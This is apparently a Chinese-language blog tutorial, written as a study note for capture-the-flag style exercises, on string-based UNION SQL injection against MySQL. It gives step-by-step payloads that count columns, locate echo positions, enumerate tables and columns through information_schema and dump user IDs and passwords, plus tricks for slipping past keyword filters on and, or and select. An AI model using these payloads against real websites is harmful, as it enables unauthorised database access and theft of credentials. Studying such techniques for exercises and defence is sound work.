字符型union注入

注入目标和思路:拿到库名---拿到表名---拿到列名---拿到用户名和密码

用 id=1' order by x --+ 来确定表有几列,然后用 id=0' union select x1,x1,x3 --+ 来确定回显位,然后在更改回显位用 database()来拿到数据库名,以下用sqlname表示。

注:数据库系统的数据库 information_schema(包含所有mysql数据库的简要信息),其中包含tables(表名集合表)和columns(列明集合表)这两个表。

下一步就是要拿到表名:
id=0' union select x1,x2, group_concat(table_name) from information_schema.tables where table_schema='sqlname' --+(或者可以直接用 table_schema=database(),而且更容易绕过),那么就拿到了这个数据库的所有表名。比如拿到一张users表。

下一步就是要拿列名:
id=0' union select x1,x2, group_concat(column_name) from information_schema.columns where table_schema='sqlname' and table_name='users'--+ 那么也就拿到了users这张表的所用列名,不如包括:id password

最后就可以拿到用户和密码等信息:
id=0' union select x1,x2, group_concat(id,'~',password ) from users --+ 这样就成功拿到了相关的信息。

注:当我们查询时,才会显示查询结果的其中一个,那么就需要用group_concat()来显示所用查询结果。

注:在做题过程中,题目可能会对and or 等进行限制,那么可以尝试&& ||或 a<>nd a/**/nd 等方式绕过,select被限制也是同样的方法.

注:但回显位不是X3的位置时,需要改变语句为:id=0' union select x1,group_concat(id,'~',password ),x3 from users --+

本文作者:ugnfc

本文链接:https://www.cnblogs.com/ugnfc/p/18151355

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   ugnfc  阅读(18)  评论(1编辑  收藏  举报
点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.